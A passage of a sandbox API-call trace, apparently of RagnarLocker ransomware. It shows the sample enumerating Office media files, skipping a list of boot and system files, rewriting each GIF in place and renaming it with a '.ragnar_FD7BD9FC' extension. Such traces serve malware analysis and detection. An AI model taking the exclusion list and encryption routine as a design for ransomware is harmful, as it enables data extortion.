ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc0ddcb00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15134_.GIF", cAlternateFileName="")) returned 1 [0099.564] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.564] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15134_.GIF" | out: lpString1="BD15134_.GIF") returned="BD15134_.GIF" [0099.564] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF") returned=".GIF" [0099.564] lstrcmpiW (lpString1="BD15134_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.564] lstrcmpiW (lpString1="BD15134_.GIF", lpString2="autorun.inf") returned 1 [0099.564] lstrcmpiW (lpString1="BD15134_.GIF", lpString2="boot.ini") returned -1 [0099.564] lstrcmpiW (lpString1="BD15134_.GIF", lpString2="bootfont.bin") returned -1 [0099.564] lstrcmpiW (lpString1="BD15134_.GIF", lpString2="bootsect.bak") returned -1 [0099.564] lstrcmpiW (lpString1="BD15134_.GIF", lpString2="bootmgr") returned -1 [0099.564] lstrcmpiW (lpString1="BD15134_.GIF", lpString2="bootmgr.efi") returned -1 [0099.564] lstrcmpiW (lpString1="BD15134_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.564] lstrcmpiW (lpString1="BD15134_.GIF", lpString2="desktop.ini") returned -1 [0099.564] lstrcmpiW (lpString1="BD15134_.GIF", lpString2="iconcache.db") returned -1 [0099.564] lstrcmpiW (lpString1="BD15134_.GIF", lpString2="ntldr") returned -1 [0099.564] lstrcmpiW (lpString1="BD15134_.GIF", lpString2="ntuser.dat") returned -1 [0099.564] lstrcmpiW (lpString1="BD15134_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.564] lstrcmpiW (lpString1="BD15134_.GIF", lpString2="ntuser.ini") returned -1 [0099.564] lstrcmpiW (lpString1="BD15134_.GIF", lpString2="thumbs.db") returned -1 [0099.564] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.564] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.564] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.564] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.564] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.564] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.564] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15134_.gif")) returned 0x20 [0099.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15134_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.565] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=177) returned 1 [0099.565] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.565] GetProcessHeap () returned 0x580000 [0099.565] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.565] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.578] VirtualAlloc (lpAddress=0x0, dwSize=0xb1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.578] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.578] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.578] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb1, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb1, lpOverlapped=0x0) returned 1 [0099.579] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.579] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb1, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.579] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb1, lpOverlapped=0x0) returned 1 [0099.579] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.579] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.579] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.579] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.579] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.579] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.579] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.579] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.579] GetProcessHeap () returned 0x580000 [0099.579] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.580] CloseHandle (hObject=0x10c) returned 1 [0099.580] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF" [0099.580] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF.ragnar_FD7BD9FC" [0099.580] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15134_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15134_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.582] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ddcb00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc0ddcb00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15135_.GIF", cAlternateFileName="")) returned 1 [0099.582] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.585] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15135_.GIF" | out: lpString1="BD15135_.GIF") returned="BD15135_.GIF" [0099.586] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF") returned=".GIF" [0099.586] lstrcmpiW (lpString1="BD15135_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.586] lstrcmpiW (lpString1="BD15135_.GIF", lpString2="autorun.inf") returned 1 [0099.586] lstrcmpiW (lpString1="BD15135_.GIF", lpString2="boot.ini") returned -1 [0099.586] lstrcmpiW (lpString1="BD15135_.GIF", lpString2="bootfont.bin") returned -1 [0099.586] lstrcmpiW (lpString1="BD15135_.GIF", lpString2="bootsect.bak") returned -1 [0099.586] lstrcmpiW (lpString1="BD15135_.GIF", lpString2="bootmgr") returned -1 [0099.586] lstrcmpiW (lpString1="BD15135_.GIF", lpString2="bootmgr.efi") returned -1 [0099.586] lstrcmpiW (lpString1="BD15135_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.586] lstrcmpiW (lpString1="BD15135_.GIF", lpString2="desktop.ini") returned -1 [0099.586] lstrcmpiW (lpString1="BD15135_.GIF", lpString2="iconcache.db") returned -1 [0099.586] lstrcmpiW (lpString1="BD15135_.GIF", lpString2="ntldr") returned -1 [0099.586] lstrcmpiW (lpString1="BD15135_.GIF", lpString2="ntuser.dat") returned -1 [0099.587] lstrcmpiW (lpString1="BD15135_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.587] lstrcmpiW (lpString1="BD15135_.GIF", lpString2="ntuser.ini") returned -1 [0099.587] lstrcmpiW (lpString1="BD15135_.GIF", lpString2="thumbs.db") returned -1 [0099.587] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.587] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.587] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.587] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.587] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.587] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.587] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15135_.gif")) returned 0x20 [0099.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15135_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.588] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=175) returned 1 [0099.588] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.588] GetProcessHeap () returned 0x580000 [0099.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.588] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.589] VirtualAlloc (lpAddress=0x0, dwSize=0xaf, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.589] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.589] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.589] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xaf, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xaf, lpOverlapped=0x0) returned 1 [0099.589] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.589] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaf, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.589] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xaf, lpOverlapped=0x0) returned 1 [0099.589] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.590] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.590] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xaf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.590] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.590] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.590] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.590] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.590] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.590] GetProcessHeap () returned 0x580000 [0099.590] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.590] CloseHandle (hObject=0x10c) returned 1 [0099.590] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF" [0099.590] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF.ragnar_FD7BD9FC" [0099.590] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15135_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15135_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.592] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc20ef800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc20ef800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15136_.GIF", cAlternateFileName="")) returned 1 [0099.593] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.595] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15136_.GIF" | out: lpString1="BD15136_.GIF") returned="BD15136_.GIF" [0099.596] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF") returned=".GIF" [0099.596] lstrcmpiW (lpString1="BD15136_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.596] lstrcmpiW (lpString1="BD15136_.GIF", lpString2="autorun.inf") returned 1 [0099.596] lstrcmpiW (lpString1="BD15136_.GIF", lpString2="boot.ini") returned -1 [0099.596] lstrcmpiW (lpString1="BD15136_.GIF", lpString2="bootfont.bin") returned -1 [0099.596] lstrcmpiW (lpString1="BD15136_.GIF", lpString2="bootsect.bak") returned -1 [0099.596] lstrcmpiW (lpString1="BD15136_.GIF", lpString2="bootmgr") returned -1 [0099.597] lstrcmpiW (lpString1="BD15136_.GIF", lpString2="bootmgr.efi") returned -1 [0099.597] lstrcmpiW (lpString1="BD15136_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.597] lstrcmpiW (lpString1="BD15136_.GIF", lpString2="desktop.ini") returned -1 [0099.597] lstrcmpiW (lpString1="BD15136_.GIF", lpString2="iconcache.db") returned -1 [0099.597] lstrcmpiW (lpString1="BD15136_.GIF", lpString2="ntldr") returned -1 [0099.597] lstrcmpiW (lpString1="BD15136_.GIF", lpString2="ntuser.dat") returned -1 [0099.597] lstrcmpiW (lpString1="BD15136_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.597] lstrcmpiW (lpString1="BD15136_.GIF", lpString2="ntuser.ini") returned -1 [0099.597] lstrcmpiW (lpString1="BD15136_.GIF", lpString2="thumbs.db") returned -1 [0099.597] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.597] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.597] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.597] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.597] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.597] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.597] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15136_.gif")) returned 0x20 [0099.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15136_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.599] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=175) returned 1 [0099.599] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.599] GetProcessHeap () returned 0x580000 [0099.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.599] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.600] VirtualAlloc (lpAddress=0x0, dwSize=0xaf, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.600] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.600] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.600] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xaf, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xaf, lpOverlapped=0x0) returned 1 [0099.600] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.600] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaf, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.600] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xaf, lpOverlapped=0x0) returned 1 [0099.600] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.600] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.600] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xaf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.601] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.601] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.601] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.601] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.601] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.601] GetProcessHeap () returned 0x580000 [0099.601] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.601] CloseHandle (hObject=0x10c) returned 1 [0099.601] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF" [0099.601] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF.ragnar_FD7BD9FC" [0099.601] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15136_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15136_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.606] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfaba00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdfaba00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x14b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15168_.GIF", cAlternateFileName="")) returned 1 [0099.607] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft 